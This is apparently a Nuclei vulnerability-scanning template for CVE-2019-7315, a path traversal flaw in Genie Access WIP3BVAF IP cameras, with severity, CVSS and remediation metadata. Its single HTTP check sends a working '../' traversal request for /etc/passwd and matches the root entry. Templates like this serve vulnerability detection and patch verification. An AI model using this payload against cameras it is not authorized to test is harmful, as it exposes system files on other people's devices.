id: CVE-2019-7315

info:
  name: Genie Access WIP3BVAF IP Camera - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to local file inclusion via the web interface, as demonstrated by reading /etc/shadow.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the local file inclusion vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2019-7315-genie-access-wip3bvaf-ip-camera-directory-traversal/
    - https://vuldb.com/?id.136593
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7315
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7315
    cwe-id: CWE-22
    epss-score: 0.11198
    epss-percentile: 0.95392
    cpe: cpe:2.3:h:genieaccess:wip3bvaf:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: genieaccess
    product: wip3bvaf
  tags: cve,cve2019,camera,genie,lfi,iot,genieaccess,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220310ed2d88a9dae2f9421a3def5e13a7101c699f4d42d19eadf55224ecfcd958e0220309ba4d1f3650b9ecbbdbc3491201e289faaaad60d045841bf9e51ed89a9fd81:922c64590222798bb761d5b6d8e72950